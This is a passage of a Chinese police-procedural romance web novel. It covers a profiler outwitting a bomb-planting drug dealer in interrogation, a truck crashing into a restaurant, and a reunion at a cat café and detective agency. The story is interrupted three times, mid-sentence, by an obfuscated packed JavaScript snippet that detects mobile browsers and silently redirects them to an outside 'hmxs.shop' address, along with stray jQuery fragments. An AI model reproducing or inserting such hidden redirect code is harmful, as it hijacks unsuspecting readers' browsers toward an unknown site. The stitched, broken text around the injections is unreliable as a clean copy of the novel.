;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592240|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肘撑着桌板往前倾轧,嘴角朝两侧咧出小丑面具,说:
“意思就是......你们那位身先士卒的赵队长,但凡碰到那个包,挪一下,晃一下,它都会炸。”
说着咋舌,假装惋惜:
“啧,就是可惜我那批货。本来你们要是问不出这5公斤,就没这事儿了。非要问,非要问......那你们就去给赵与收尸吧!”
柳回笙盯着他:“赵与不会有事的。刚刚只是有爆炸,她跑得掉。”
“跑?哈哈哈......往哪跑?”
孙大海边说边抬起右手指了一下:
“我的炸弹在山崖边上,下面的海全是礁石,你想她被炸死,还是掉下海被礁石砸死?哈哈哈——”
孙大海猖狂地笑着,室内不断回荡着刺耳的声音,笑着笑着,他发觉不对——柳回笙从高莉的搀扶中站了起来,刚才的愤怒、悲痛、急迫,统统从这张脸上消失。取而代之的,是对事态发展全盘拿捏的平和。
她看着孙大海,居高临下的身位顷刻高大沉稳,冷静的面容勾出讥讽,像极了冰天雪地中亲眼看着猎物掉入陷阱的雪狐:
“呵。”
孙大海的脸颊抽搐了一下:
“你笑什么?”
柳回笙没有回答他,下巴抬起,冰冷的灯光将下颌切割出手术刀的弧线,看孙大海的眼神如同看一个漂浮在海面远处的垃圾。
“你笑什么!”
孙大海开始慌张,柳回笙却没有任何一个多余的眼神,转身,边往外走边从警裤摸出手机,启动正常的工作节奏,拨通赵与的电话:
“毒品上绑了炸药,C4,2公斤。启动装置是压力感知,不挪动就不会爆炸,让拆弹专家原地拆除。”
孙大海一震,被砍刀劈中似的,嗡鸣从左耳穿到右耳,再从右耳穿到左耳。
炸弹没爆?
那柳回笙刚才在干什么?
跟他演戏?
不可能!
绝对不可能!
“什,什么意思......你们什么意思!喂!说话!”
他挣扎着想掀桌,高莉跟另一个警员将他按住,将头摁在桌上,他猛烈拍桌,手铐在桌上砸出凹陷的痕迹。
“放开我!放开!你们什么意思——放开我——”
门外,柳回笙停住脚步,转身,面朝着孙大海,手里的电话保持通畅。
一面俯视着博然大吼的人,一面跟电话那头的赵与说话,冷静果决:
“还有,炸弹放置地点在崖边。”
脑中回闪刚才孙大海说“崖边”的时候,右手往旁边指了一下,手指的方向跟视线方向一致,补充道:
“右侧方位,拆弹的时候注意点,下面的海里有很多礁石。”
“好,知道了。”
赵与在那头记录所有信息,安排两组人清空现场,一组人搭建吊绳装备,联系拆弹专家。
适才,所有人整装待发,柳回笙朝审讯室多看了一眼。只那一眼,孙大海的表情漏了陷——
呼出一口气,鼻孔放大,嘴角朝上方扬起,嘴唇并拢,嘴巴中部往下压。
这是一个完成一件大事之后,极力隐忍喜悦的忍笑的表情。
正常来讲,一个毒贩犯案的重量越少,判的刑罚越轻。警方即将要找到那5公斤,孙大海应该紧张、焦虑、慌张,不该出现这种表情。
在侧写师眼中,任何秘密都不可能瞒天过海。先前所谓的“情绪失控”,不过一场请君入瓮的戏码。套出毒品附加的秘密,便大功告成。
“孙大海,多亏你刚才提供情报,不然赵与就危险了。多谢。”
柳回笙宽容地道谢,顺利让孙大海心防坍塌,在审讯室大吼大哭,撒泼打滚。
你要赵与的命,我便诛你的心——
这就是孙大海袭击赵与的代价。
5. 车祸(一)
孙大海的案子惊动了市局领导,支队长跟政委亲自带人跟进。
毒品、C4,都不是普通人能弄到手的。
虽然最后拆弹专家成功拆除,没有造成人员伤亡,但孙大海背后的两条线,一个贩毒,一个恐袭,都得往后深挖。
“赵队,欢迎加入蓊阳市局。”
就职大会过后,一个身穿制式警服的女警主动过来了解情况。
赵与转身,这人一头利落的短发没有任何装饰,麦片色的皮肤下,一双眼睛似大理石反射的刀光,平面中透着凛冽。
她立即认出来人,伸手同她交握:
“沈队,幸会。”
沈觅,34岁,三级警督,禁毒支队大队长。
“孙大海那个案子,辛苦你们了。”沈觅诚心感谢。
“分内事,巡逻的同事带回来的,没想到是条大鱼。”赵与简洁快速地陈述案情。
“我刚看了下他的货,包里的3公斤跟跳水崖的5公斤成分不一样,不排除他还有其他货源。”
“有可能。昨晚他交代了一个上家,可能只是其中一个。”
“是的,可能性很大。等手续办好了,我这边还得再审一下。”
“好,昨晚的口供我也让人整理一份给你们。缉毒这块你们比较专业,没准能发现新线索。”
“那太谢谢了。”
“不客气,应该的。”
两个效率高的人沟通起来快速轻松,1分钟就把事情说了,毫不拖泥带水。
孙大海后续将由禁毒和反恐两个支队一同关照,赵与这边的一大队完成了手上的任务,抓人 、问线索、找炸弹,做了一切能做的,便顺利将孙大海交接了过去。
18:00,蓊阳市局大门的车队陆续排队下班。
黑色长安在一众车队长龙里毫不起眼,似海边礁石群的其中一个,混在里面格外低调,骤一消失又醒目至极。
10月份的天不冷不热,西沉半截的夕阳朱砂痣般挂在地平线上,满城金黄。
风从街道尽头吹来,顺着车窗吹起衬衫外翻的衣领。
赵与单手搭着方向盘,随着车流的队伍一点一点往前挤牙膏。
开完会她跟柳回笙都换了便装,身上这件灰色长袖衬衫是上周柳回笙给她买的,每次穿的时候她都会往上面喷点香水,再在抱柳回笙的时候蹭一点她身上的香水味,反应出来的新味道格外好闻。
驶出市局大门,车速才快了起来,右转变道的时候看了眼后视镜,顺势扫了眼副驾的柳回笙。
只见她屈肘靠着车窗,眼睛透过挡风玻璃望着前方,却又没有焦距。夕阳的彤光在脸上铺开,在唇珠留下鲜艳的朱砂,似卧坐在阳台怅惘的布偶。
“怎么了?”赵与腾出一只手去握她。
柳回笙愣了一下,回神,眼睛重新恢复焦距,换了一个坐姿。
“没有。”
她掌心向上,跟赵与十指交扣着,感受着比她温暖的手掌,再次看向远处,楼房在夕阳里剪切出方块的剪影。叹气,说到:
“只是想起,孙大海大费周章,就是为了来杀你,我觉得很奇怪。”
赵与用拇指摩擦着她的手背,宽慰到:
“没事。只是碰巧是我审讯而已。如果不是我,是沈队,那他的杀人目标就是她了。”
“可是他知道今天是你上任的第一天,感觉,他就是赶着今天来杀你。”
“应该是看到之前的任免通告了吧。”
“可能吧,但我总觉得不对劲。”
柳回笙往座椅里缩了几分,那是一个为身体寻求支点,趋近厚实和温暖的、没有安全感的动作。
赵与知道她的担忧,毕竟如果不是柳回笙多观察了孙大海一秒,就错过那个破绽的表情。而带队去找毒品的她,很可能被炸得灰飞烟灭。
说不后怕是假的,只是她当初从大火中生还,遇到的危险岂止今天这一件?
“别担心。”
赵与拍拍她的手背,语气轻快:
“算命的说我能活到80岁,杀我的人还没生出来呢。”
柳回笙苦笑不得,她在这分析罪犯,赵与在那扯玄学。扭头就要数落,谁知鲜红的余晖在赵与脸上镀了一层朱砂,切割出鼻梁线条清晰的侧脸,漂亮中透着几分坚毅,颇像电影刻画出的女将军,英勇魁然。
“嗯,Thanatos已经抓起来了,没人能把你怎么样。”
听她的语气松快下来,赵与也轻松不少,嘴角笑意愈深,说:
“别人是不能把我怎么样,但是你能啊。”
“我?”柳回笙茫然。
“嗯。”
赵与抬手,食指点了点自己的脸颊。
柳回笙瞪她:“开车呢你!”
赵与指了下交通灯:“红灯呢。”
说着朝柳回笙凑上前去,在中间停下。
柳回笙瞄了眼交通灯,红灯还有十几秒,于是倾身,飞快在她右颊落下一吻。
“不够。”赵与不知足。
“哎你。”柳回笙在她左颊又亲了一下。
“还是不够。”
赵与又往前凑了一点,将嘴巴往前送,想要柳回笙再亲一下,迎面就被扇了一巴掌。
啪。
力道很轻,羽毛似的。赵与愣了一下,紧接着嗅到柳回笙护手霜的茉莉白茶味,心田一暖。
“现在够了么?”
柳回笙佯怒地瞪她。
被打了一巴掌,赵与却餍足着撤了回去,鼻腔哼出小调:
“柳警官好凶啊。”
车子最后停在一处路边停车位,百米之外十字路口的小炒店是二人来蓊阳之后发现的小食堂,在市局回家的路上,每天晚上都来吃过晚饭再回家。
“一个西蓝花,一个小炒肉,一个西红柿鸡蛋汤。”
小店生意好,商铺里面坐满了,二人只好在外面找张桌子坐下。桌子是单片折叠的简易款,塑料凳表面起了一层麻麻赖赖的皮,设施简单得穿越回20年前,透着老旧的苍蝇小馆的烟火气。
马路就在旁边,晚高峰的行人堵在交通灯前等着过马路。等一批过去了,十几秒的工夫,就又聚集了下一批。
菜很快端了上来。
小炒肉里肉不多,几块肉片跟螺丝椒和包菜一起炒,香味扑鼻。
“试试看,今天能不能吃一点?”
柳回笙把筷子放进赵与手里。
赵与之前是不吃肉的。
屠灵会的卧底任务让她见多了生死,看到血肉就有生理反应。后来被Thanatos冒充的欧阳镜催眠,一尝到肉味就会吐。
柳回笙咨询过梅昭和导师Athena,催眠术衍生的对某种食物的厌恶,是可以随着时间的推移和心理治疗慢慢克服的。
Thanatos被捕后,柳回笙便开始帮赵与做脱敏治疗,从一开始闻不得肉味,到现在,赵与已经可以用肉菜的汤汁拌饭。
下一步,是尝试吃肉。
看着菜碟里冒着油光的肉片,赵与喉咙发紧,筷子在手里握了好几秒,泄气。
柳回笙看出她的艰难,于是说:
“没事,反正就是一块肉,吃也行,不吃也行。不想吃就不吃。”
赵与用力握了一下筷子:
“不会。”
她已经卡在这个环节一个多月了,今天她就算吐也要尝试一下。
想到肉腥会在喉咙口散开,胃里就产生了一些不好的反应。
深呼吸一口,指了下街道对面的奶茶店:
“我去买个奶茶,压一压。”
“好。”柳回笙也不催她。
“你喝什么?”
“嗯......白桃乌龙,半糖。”
“好。”
赵与把车钥匙放桌上,拿着手机就走了,灰衬衫在傍晚的微风里扬起衣角,随着走路的姿势一晃一晃的,跟脑后发尾的频率相似。
晚高峰最严重的20分钟过去,十字路口等红灯的人少了大半。街道对面的奶茶店生意不错,赵与刚过去,就发来短信。
【小孩:还有24杯,得稍等一下。】
柳回笙看着那句话,唇边的笑意漾开梨涡。抬头眺望,一百多米之外,果然赵与跟哨兵似的站在奶茶店门口,身姿挺立,心里焦急,又只在脸上留下眉峰微微收拢的痕迹。
过于正直,反倒有些可爱。
【笙:好,不着急】
她回复过去。
脑袋突然被轻碰了一下,头发从发夹滑下一缕。回头,是背靠背这桌刚坐下来的顾客。头发盘着,穿着比较正式的黑色西装,大概是附近银行刚下班的职员。
“啊,不好意思。”对方意识到碰到柳回笙,忙把撞人的包收回来,笑着道歉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592241|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“没关系。”柳回笙往前挪了挪。
“呵呵,这家生意太好了。”对方寒暄说。
“嗯,味道挺好的,我经常来。”
“是吗?我今天第一次来,他们家什么菜好吃呀?”
“都还可以,我觉得那个小炒肉挺好的,有荤有素。”
“行,那我也点一个。”
“嗯。”
“小姐姐我请你喝一瓶汽水吧,他们家汽水买一送一,刚刚不好意思了。”
“没事,不用客气。”
“没关系的,反正我也是一个人,另一瓶请你喝了。”
“好,那谢谢了。”
“没事儿!”
小小的插曲终结于一盘小炒肉,背靠背的两人从陌生人的交流中感受到人性的善意。
柳回笙朝奶茶店望了一眼,人还是多。
赵与没回来,她就等着她,不会动筷。
微信滴了两声,是陈豆豆发来的。
【豆豆:师傅,升职第一天,感觉怎么样呀?】
一看到陈豆豆的消息,柳回笙就能想起那张永远挂着笑脸的面孔。
【笙:挺好,挺顺利的】
【豆豆:那就好。我听说跳水崖那边出了点事儿,没牵扯到你跟赵队吧?】
【笙:没有,小案子】
【豆豆:哈哈哈那就行。明天我跟梅姐想去吃海鲜,你跟赵与有没有空呀?要不要过来一起?】
【笙:应该是有的,等下我问问她,晚点回复你】
【豆豆:好~~~】
跟陈豆豆说完,注意力从手机里剥离,听力回归街道,这才发现背景音里混着一个哭声。
“呜啊——”
循声望去,是一个三四岁大的小女孩,隔着马路的斑马线,哭得十分厉害。
“妈妈——”
小小的身影哭喊着妈妈,周围却没有一个大人。
她仰着头,声嘶力竭地喊着,碎花裙下的小白鞋站在原地。
柳回笙心里被倒钩抓了一下,看着那小女孩,就像看着番茄市场里掉在路边的圣女果,小小的一颗,裹满浑浊的泥水,鲜红的色泽却冲开水痕往外散射,透着清甜的水果香味。
人来人往的晚高峰,竟然走丢了一个孩子。
柳回笙犹豫了一下,看看尚未动筷的两菜一汤,又看看街道对面的小孩。终是于心不忍,沿着斑马线过去。
走到小女孩身前,收拢牛仔裙的裙摆,蹲下跟小女孩一样的高度,问:
“小朋友,你是不是走丢了?妈妈呢?”
“呜哇——”
小女孩似乎听不到她的话,仍仰着头嚎啕大哭,手里的冰糖葫芦化成毛黄色的糖水焊在小小的手上。
“没关系没关系,阿姨是警察,带你去找妈妈,好不好?”
她说着从牛仔裤的兜里摸出一包纸巾,打算给她先擦擦眼泪,谁知,刚撕开表层的胶带,街道对面就传来一声剧烈的洪荒般的撞击声。
砰!!!
巨响如咆哮的炮弹撕开耳膜,柳回笙下意识痉挛。抽搐之后,朝声音的方向望去——
只见马路对面,刚才她坐的那家小炒店被一辆半挂货车撞塌,整个车头冲进商铺,建筑墙体凹陷,招牌塌陷一半,霓虹灯管发出电线短路的爆裂,门面被车头堵塞,黑烟裹着灰尘从车头和墙体的缝隙往外涌。
“啊!天呐!”
“车祸!出车祸了!”
“报警啊!里面还有人的!快打120!”
“怎么开的车啊!天呐!”
“好吓人!里面有没有人啊!”
“救,救命......”
“喂,警察吗?我这里出车祸了!就是中央广场出来这个十字口这里!撞死人了!”
行人惨叫、玻璃门爆裂、桌子板凳掀翻、受伤的路人虚弱地呼救,各种各样的声音裹挟到一起,在硝烟深处凝聚成一张狰狞得鬼面具。
小店门口,漆黑的轮胎将一个人轧成两截,不是别人,正是刚刚跟柳回笙背靠背的银行职员。年轻漂亮的笑容犹在眼前,转瞬就倒在血肉模糊的血泊中。
柳回笙腿根一软,坐了下去。
一颗心被剖成两半,一半痛惜方才还在盛放的生命,一半落入剧烈的后怕——
如果刚刚没走,那么此刻被轧在车轮下的,就是她。
6. 车祸(二)
平静温暖的傍晚被一场车祸摧毁,半个货车冲进小炒饭馆,门口的餐位瞬间碾碎,碗碟四散,菜、汤、米饭混着受害人的血液和皮肉组织染红整个人行道,盲道上横亘的血红的固体,不知道是被血染红的菜还是哪个受害人的身体组织。
柳回笙瘫坐在一条马路之隔的对面,如果赵与刚刚不去买奶茶,如果她刚刚没有看到走失的小女孩,如果她没有一时心软跨过那个路口。那么,现在躺在车轮下面被轧成两截的,就是她和赵与。
三个“如果”,砝码的重量变化,更替天平倾斜的方向。
眼前的视野褪色,物体的形状开始扭曲,耳膜深处传来身体内部发出的嗡鸣声,尖锐得似指甲划过黑板,再从金属落进切割机里咆哮。
“阿笙!阿笙!”
身体被猛烈摇晃,熟悉的呼喊冲进身体,驱散尖锐的鸣叫。
“啊!”
柳回笙抽搐了一下,似灵魂回窍般回过神来,恍惚看到熟悉的面孔,猛烈晃了一下头,再次睁眼,视野里的扭曲这才消失。
眼前人的双眼瞪圆,呼吸短且急,锋利的五官在暮色中显得沉默且无助。
“赵......”
没等她开口,身体就被一股强大的力量搂进怀里,她察觉赵与的颤抖,那是比自己从死神手里逃脱还要严重的后怕——
没有人知道赵与刚刚在奶茶店门口看到车祸是什么心情,更不知道她确认货车辗轧的位置就是柳回笙坐的位置是什么心情。
“阿笙......”
赵与重复唤她,战栗的声音透过耳膜传到脑仁,变成一朵宽厚结实的棉花,将下坠的身体往上托起。
柳回笙抓着她后背的衬衫,猛烈吸了两口傍晚的冷空气,鼻尖刺得酸胀。靠着那股酸胀,她的身体渐渐恢复一点力气,她告诉赵与:
“我没事。”
赵与调节情绪的能力比柳回笙强,或者说,在看到柳回笙坐在步行道而不是躺在车轮底,她就已经开始调节情绪了。
她将人扶到路边的一家小店坐下:
“你先坐会儿,我过去看看。”
柳回笙抓着膝盖上的裤腿,用力点头。
“好。”
这条单侧只有双车道的老街已经许久没出过车祸了,这两年交通管制严格,从街头到街尾顶多只有电动车之间的小碰撞,从没像今天这种大型货车直接冲进餐馆的事故。
短短两分钟,看热闹的人便围了上来,在十字路口水泄不通。
赵与三两下安顿好柳回笙,折身挤进人海:
“警察!麻烦让一下!”
“请大家往后疏散,不要踏进事故现场!”
围观的群众听到有警察,陆续往两侧让开,赵与加快脚步,边走边拨通电话。
先是事故所属辖区交警大队的区号:
“交警六大队吗?我是市公安局刑侦一大队赵与,现在永安辖区出了一起重大交通事故,半挂货车冲进餐馆。地点在永安路和文昌路的十字路口,张姐餐馆,预计受害人在10到20人之间。请派人到现场处理事故,并在事故周围安排交警管制交通。”
接着是最近的一家公立医院:
“二医院吗?我是市公安局刑侦一大队赵与,现在有一起交通事故,地点在永安路和文昌路的十字路口,张姐餐馆,预计受害人在10到20人之间,请立即派救护车过来救援。”
事故处理、人员救治、现场疏散、托离货车,以及防止撞击后造成的后厨爆炸......赵与通知完交警和医院,紧急又联系了所属辖区派出所和消防队。
相关单位出警大概在5-10分钟之间,围观的人越来越多,十字路口水泄不通,看热闹的、议论的、打电话找救援的、抱着同伴身体痛哭的,声音就像原子弹爆裂后的蘑菇云,庞然地罩在事故地的上空,翻滚酝酿着,似马上就要发出更强烈的爆炸。
赫然,一个女人的声音透过便携式扩音器传来:
“让一下!辛苦大家让一下!警察!”
循声望去,只见刚刚还在人群中瘫坐的柳回笙正挤开人群过来,右手拿着警用扩音器,左手抱着一捆金黄的警戒线。
手指挂着刚才摔倒的血迹和灰尘,发夹缝隙散下的两缕头发没来得及重新固定,纤柔的身体从人群中走来,目光在路灯下灼灼生辉——
适才,赵与一路逆行踏进人群,她折返车上拿了扩音器和警戒线。
“把主干道让出来,让车辆通行。交警和救护车马上到了,不要耽误救人,谢谢大家配合!”
赵与迟钝了一秒,柳回笙的样子走马灯般飞快从脑海中闪过。
在公安大学上课掷地有声的样子、精神失常想结束生命的样子、虚弱得面色惨白宛如行尸走肉的样子、举刀刺入Thanatos胸膛的样子......
那么脆弱,又那么坚强。
接过扩音器,用更大的声音指挥:
“大家不要站在马路上,往两边退,注意安全!把主干道让出来,其他车辆还要通行!”
随后看向柳回笙,二人交换眼神,一个抱着警戒线团,一个拉着起点,将事故现场围了起来。
很快,交警大队跟救护车赶到现场,拖车、救人、检查火灾隐情。货车拖离后,摩擦的火星点燃燃气,发生了小规模爆炸,好在事先有所防备,消防员几分钟便扑了下来。
当场死亡4人,重伤7人,轻伤6人。
闪烁的警灯直到当晚22点才终于熄了下来。
“赵队,辛苦了。”
赵与打算离开时,负责这次事故的交警队长过来送别。
“客气了,顺手帮忙而已。这次比较严重,后面得辛苦你们了。”赵与同他握手。
“肯定的。现场我们基本取证完了,后续就等血检报告。如果有醉驾毒驾的行为,或者寻衅报复这种,还得移交到你们刑侦支队办理。到时候还要辛苦你们一下。”
“分内事,应该的。”
“那我就不打扰了,局里还等我过去,您自便。”
“好,您先忙。”
二人颔首道别,警车的灯光逐渐远去,消失在长街尽头。
路灯巍峨地伫立在头顶,细小的虫子病毒般在灯罩下乱窜,密密麻麻。
赵与折身,去餐馆隔壁的药店买了处理伤口的东西,去找坐在花
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592242|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坛上的柳回笙。
柳回笙木讷着,两只眼睛看着身前的赵与,又似乎透过赵与看她身后的那滩血。指挥现场耗尽了她最后的电量,佝偻着坐在花坛上,里里外外都被掏空。
“后续交警队会处理。”赵与托起她受伤的左手,掌根和手指外侧均有擦伤。
“嗯。”柳回笙没有反应。
“伤口不深,都是擦伤,我帮你消个毒,这两天别沾水。”生理盐水冲洗完伤口,先后用碘伏和酒精消毒。
“好。”
处理的过程大概3分钟,柳回笙就跟一个没上发条的机器人一样坐着。
赵与看在眼里,指尖的凉意顺着血肉钻进身体,在心门撞了个窟窿。
她没有说话,上完药之后,小心翼翼将柳回笙圈进怀里。她的体表温度比柳回笙高,176的身高往面前一站,纵然裹着人命的晚风肆虐咆哮,也吹不到柳回笙身上。
等了半晌,柳回笙的体温有所回升,赵与才沉声开口:
“阿笙,你今天很厉害。”
柳回笙动了一下,垂下的眼眸依旧没有波澜,说:
“我没有。”
“你有。”
赵与坚定地告诉她:
“车祸的那一下,你肯定吓坏了。其实我也吓坏了,看到车子冲上去的时候,我以为你出事了。那几秒钟,我听不到任何声音,耳膜跟炸了一样。但是你很快就过来帮我疏散现场,一点没有害怕。”
柳回笙沉默,好一会儿才说:
“我是警察。遇到案子,要克服个人情绪,帮他们脱离危险。”
“对,所以你做得很好。”
赵与鼓励她。
“可是......”
柳回笙哽咽了一下,情绪泄洪奔涌:
“我都已经是警察了,为什么还是救不了他们......”
赵与心口被刀剜了一块,鲜血淋漓,用更大的力道收紧手臂,怀里的人却无法自控地开始发抖。随后,啜泣似碎玻璃刺入耳膜。
“她就坐在我后面,那么年轻,那么漂亮。就因为包包不小心碰了我一下,她就买汽水给我道歉。那么好的女孩子,为什么要出事呢......她只是下班吃个饭,为什么就要死呢......”
赵与沉默,她无法回答柳回笙的问题。
入行以来她见过太多意外和不幸,却还是不知道该怎么回答这个问题。只能用力地抱住柳回笙,一下一下抚摸着她的后背,用身体的温度陪她度过这段情绪。
许久许久,喉咙底的声带才发出振动:
“所以,我们的工作才更有意义。”
抓捕真凶,制止犯罪,不再让无辜之人成为恶念的亡魂。
药店的招牌灯闪了一下,电流发出不稳定的窜动声,店前忽明忽暗,最终熄灭。
赵与看了眼手表,已经不早了。
仰头朝旁边扫了一眼,一抹黑影一闪而过,她警觉地朝闪烁的方向再次看去,什么也没有。
大概是幻觉。
当务之急,是让柳回笙走出这种情绪。
“来蓊阳也有段时间了,明天要不去看看小陈跟梅昭?”
7. 再见梅豆(一)
陈豆豆跟梅昭比赵柳二人更早来蓊阳——
在二人接到调令之前。
自从梅昭离职,成立了私人侦探社。陈豆豆也从警队离职,开了一家猫咖馆,就在侦探社旁边。
两家同一天开业,柳回笙跟赵与还送了开店大吉的花篮。
时隔六个月,再次踏进猫咖馆,一推开门,智能门锁就发出陈豆豆本人录制的声音:
“欢迎光临喵~”
跟从前一样充满着活力。
柳回笙心口松了一下,唇角扬起,顺着视线朝内部望去。
原本只有两只蓝猫的室内多了好几个品种,布偶、金渐层、德文,有的盘在猫爬架上,有的围在客人身边,个个都散发着清洗过后的香味。甜品柜里的餐点丰富不少,提拉米苏、丝绒蛋糕、杯子蛋糕、华夫饼,每一个都取了专属的名字——
打哈欠的大熊猫、牛马的砖、财富密码、期末满分答卷、天罗地网、财源滚滚、脱单法器......
抽象中又带着一丝丝祝福。
“师傅你来啦!”
陈豆豆抱着一只金渐层从里面窜出来,眼睛笑得弯弯的,抓着小猫的爪子朝二人挥手:
“赵队,早啊!”
高能量的人走到哪里都会点亮几盏灯。空气里跳动的音符顺着气流在半空打了几个转,抓着彩虹的色泽跳进柳回笙心口,甜的。
“不早啦。”
柳回笙回答她,每次跟陈豆豆说话,她的强调也会甜几分:
“太阳都要下山了。”
赵与看了眼腕表:“我订了7点的,收拾一下过去差不多。”
陈豆豆听赵与定了位置,如临大敌:
“哎呀不都说好我请客的嘛!之前开店的时候,你们俩天天来帮忙,现在好不容易走完手续调过来了,我请你们吃呀!”
赵与大方地摆摆手:“一样的。就当我们俩请你们吃升职宴。”
陈豆豆一想:“嘿嘿,对吼,你俩升职了,是得庆祝一下。”
柳回笙点头:“对嘛。”
陈豆豆掂了掂怀里的猫,把其放到猫爬架上的太空舱里,招呼说:
“那师傅你俩去梅姐那儿等我一下,我去换个衣服,不然身上全都是毛,你等会儿得难受了。”
当初美国阁楼那次生死关给柳回笙留下了哮喘,闻到烟雾便会诱发,陈豆豆知道之后一直注意着,连猫毛也一并帮柳回笙考虑了进去。
柳回笙不多大在意,说:
“没关系,现在还没被猫毛诱发过。”
陈豆豆不赞成:“那不行,你们呼吸道敏感的人就是得跟宠物毛保持距离。对了,我上周直播间买了个润肺的养生茶,等下我给你带上。”
柳回笙揶揄:“好~谢谢养生大师~”
陈豆豆傲娇:“哼,那当然得养生了,我现在可惜命了!”
说着扭头一转,踩着欢快的小步子去二楼了。
惜命。
听到这两个字,柳回笙心里揪了一下——
当初陈豆豆跟梅昭双双被Thanatos绑架,关在暗无天日的地下室里,被拔掉指甲后,没有食物,没有水,硬生生靠着下大雨游到出口,拼死才打开那扇木门。随后又把已经昏迷的梅昭搬上木板,推下海,硬生生靠着两条腿从公海游了十几个小时,才终于看到赵与的救生船。
那之后,陈豆豆就落下了病根。
肺部感染几乎成了白肺,在蓊阳最好的呼吸科医院治疗了整整一个月才出院。与此同时,低温的海水在膝盖和脚踝留下神经性损伤,不能剧烈运动,一到阴雨天就疼。
当年冬季体测,陈豆豆就没能通过。
除了身体损伤,更多的是精神状态。
经历了Thanatos的催眠,又在催眠深处朝自己开枪逃脱,再到后面无休止的地下室关押,乐观强大的灵魂被撕开一条缝隙,一碰到新案子,Thanatos的噩梦就会卷土重来,整夜整夜地做噩梦。
上级考虑到她的状态,让派政委亲自同她沟通,调派到工作更加轻松的文职。可陈豆豆不愿只做文职,短期之内又没能调整好状态,一时陷入两难。
直到有一天,梅昭给她买了一只小蓝猫。小家伙比巴掌大不了多少,见到陈豆豆就舔她的手,跟一早就认识似的。那之后,她发现小猫能将她从人心吊诡的状态里拉出来,于是毅然决然,开了这个猫咖。
“如果不是我,豆豆也不会这样。”
提起陈豆豆转行,柳回笙总是自责。若非她收陈豆豆为徒,也不会害她被Thanatos报复,失去引以为豪的工作。
赵与揽过她的肩膀:“她这样也挺好,每天无忧无虑,跟小动物打交道,一来开心,二来安全。”
柳回笙于心不忍,“她一直以来的理想,是当一名好警察。”
赵与想了想,说:“人的理想会变,喜欢的职业也会变。她之前为人民服务,现在为小动物服务,都是救助众生。”
柳回笙愣了一下,没有说话。
赵与的话不多,甚至大多时候只扮演听众。但每每说点什么,每一句都往柳回笙心底最柔软的地方钻。
柳回笙有时会情绪失控,会钻牛角尖,但这些事情似乎没有发生过在赵与身上。
如果柳回笙活在人世间是一碗水,赵与便是一条江。
看似什么都不在意的人格里,装得下柳回笙,也装得下苍生。
放弃警察,选择宠物,在赵与心中没有惋惜之言,也没有扶摇之意。
人,猫,在她心里都是众生。
“走吧,去师姐那边坐坐。”
柳回笙拉起她的手,出门右转,推开私人侦探社的门。
侦探社的装潢采用的地中海欧式风格,简约中透着几分优雅。进门前台的挂画是一副抽象的简笔手指画,一只手朝下方伸展,指尖触碰的地面漾开银河星宿的图案。
有一种单手可以让天地扭转,同时在地面点亮银河的通天本领。
梅昭正从办公室出来,一手拎包,另一手搭着风衣,披垂的乌发之下,米杏长裙在行走之间晃出成熟女性的睿智和从容。
“梅小姐,梅小姐!”
一个中年男性从后面追出来,小跑到梅昭身前拦住去路,恳求说:
“您再考虑考虑,真的。只要你拿到我老婆出轨的证据,照片也好,视频也好,将来离婚分到的财产,我给你20%的提成!”
前台见有人纠缠,一步跨上去就要帮忙,被赶过来的柳回笙和赵与拦住——
男人想跟梅昭谈业务,接也好,不接也罢,应由身为老板的梅昭去沟通。
果然,梅昭从容地停下脚步,高跟鞋在地板踏出顿感的木质撞击的声响。
微微抬头,极具东方特色的面容宛如一碗温度恰好的白水,不青不红,温软柔和。
“张先生,我已经跟您说过了,这个案子,在我的能力范围之外。”
中年男人忙说:
“怎么会呢?你上个月不是帮一个家庭主妇找到她老公出轨的证据,帮她分了一千多万的财产吗?我这个情况跟她一样的啊!”
“你们不一样。”梅昭礼貌地陈述。
“一样的一样的!你看啊,我入赘到我老婆家,这些年在她们家那个公司就挂个闲职,天天在家做家务,基本等同于家庭主夫。现在她还出轨了,我怀疑我们的孩子都不是我亲生的,是她跟别人生的。那我受了这么大的伤害,肯定要拿到她出轨的证据,到时候让她净身出户啊!”
男人说得声情并茂,手上脸上的动作没有停过,每一个举动都暴露着事情的真相。
梅昭静静听他说完,没有打断。
不远处的柳回笙看了却直皱眉——拙劣的演技,苍白的谎言,险恶的居心。
赵与不擅长读心,却能读懂柳回笙,见她这表情,便低声问:
“看出什么了?”
一旁的前台嗅到瓜味,也忙不迭凑上来。
柳回笙复盘男人的举动:
“‘入赘’是真的,身体前倾,语气比较重;
‘家庭主夫’是假的,边说边扯领带,眼睛朝左上方瞟;
‘孩子非亲生’是假的,音调一会儿下沉一会儿上扬,前后不一致;
‘妻子出轨’是假的,眼睛跟手指的方向不一致;
